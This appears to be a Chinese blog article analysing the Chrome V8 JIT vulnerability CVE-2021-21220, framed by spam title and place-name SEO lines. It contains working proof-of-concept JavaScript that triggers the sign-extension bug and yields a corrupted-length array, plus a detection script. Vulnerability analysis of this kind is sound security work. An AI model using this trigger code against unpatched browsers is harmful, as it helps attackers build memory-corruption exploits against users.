亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

發布時間:2021-12-29 17:56:10 來源:億速云 閱讀:190 作者:柒染 欄目:安全技術

怎么分析Chrome V8 JIT漏洞CVE-2021-21220,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

前言

CVE-2021-21220 是4月13號在 github 上公開的一個半 0day v8 引擎 JIT 模塊漏洞。由于當時最新stable版本 (89.0.4389.114) 和 beta 版本 (90.0.4430.70) 的 Chrome 均未集成修復后的 V8 版本,所以該漏洞可以影響最新版本的 Chrome,當然,也影響基于 V8 的其它廣泛使用的瀏覽器。

目前最新版本的 Chrome 已修復該漏洞,建議大家盡快更新 Chrome 瀏覽器。

漏洞分析

拿到PoC之后,首先進行簡單的分析和精簡,方便之后的調試分析。

var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);var arr = x[0];var cor = x[1];

對 jit 比較熟悉的同學,很容易就可以發現 foo 函數是被優化的函數。foo 函數的主要功能是:1、對變量 x 進行多種基本操作;2、涉及數組的相關操作。仔細看一下數組這部分,它主要依賴于變量 x 的值。

var _arr = new Uint32Array([2**31]);//2**31function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;// (2**31)^0+1x = Math.abs(x);x -= 2147483647;//2**31-1=2147483647x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;return x}print(foo(false));for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);print(x)

去掉 array 數組那部分的精簡,運行poc,結合輸出的結果,說明我們的推斷是正確的。

d8 poc.js 01

進一步分析發現,變量 x 的值和 2**31(2147483648) 有很大關系。有符號的int32 整數范圍 [-2147483648~2147483647],在這個地方進行加減操作,在64位平臺下很容易發生 int32 和 int64 之間的相互轉換。事實上我們發現 v8 團隊提交的一個 commit 修復鏈接 [compiler][x64] Fix bug in InstructionSelector::ChangeInt32ToInt64,恰好是這個 bug 的 patch。這個commit中包含了對應的回歸測試用例。為了調試方便,我們使用該測試用例。

const arr = new Uint32Array([2**31]);function foo() {return (arr[0] ^ 0) + 1;}%PrepareFunctionForOptimization(foo);print(foo());%OptimizeFunctionOnNextCall(foo);print(foo());

執行

d8 poc.js --allow-natives-syntax-2147483647  //runtime2147483649   //jit

arr[0]= 2**31(2147483648);arr[0] ^ 0 = -2147483648在32位有符號的情況下為0x8000 0000,而 arr[0] 在32位無符號的情況下也為 0x8000 0000,之后執行加1:在 runtime 階段,-2147483648+1=0xFFFF FFFF 8000 0001 = -2147483647沒有問題;而 jit 階段,錯誤地將32位無符號0x8000 0000,擴展為64位0x0000 0000 8000 0000,然后加1得到0x0000 0000 8000 0001 = 2147483649。

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

結合對應的 patch 代碼和注釋,ChangeInt32ToInt64的輸入是一個有符號的32位整數,所以任何時候都應該做符號擴展。

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

最后我們來看一下 jit 生成的代碼,這里通過 | mov ecx,dword ptr [rcx]|,錯誤地丟失了符號。而在 fix 之后的 jit 代碼中通過 | movsxd rcx,dword ptr [rcx]| 正確地帶符號擴展 rcx。

JIT代碼:

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

修復 JIT代碼:

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

驗證腳本

var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);return arr}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);if(x.length){alert("vuln is exist")}

怎么分析Chrome V8 JIT漏洞CVE-2021-21220

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

民和| 柳河县| 敦化市| 镇赉县| 离岛区| 泗水县| 中江县| 镇远县| 天峻县| 华容县| 汕头市| 西盟| 孝昌县| 乌鲁木齐县| 游戏| 陆河县| 福海县| 兴仁县| 友谊县| 忻城县| 阿克苏市| 太仆寺旗| 高青县| 钟山县| 永昌县| 新乐市| 瑞金市| 修武县| 通州市| 建湖县| 那坡县| 九江县| 福安市| 恩平市| 黄浦区| 龙井市| 常德市| 克什克腾旗| 淮安市| 固安县| 宜兴市|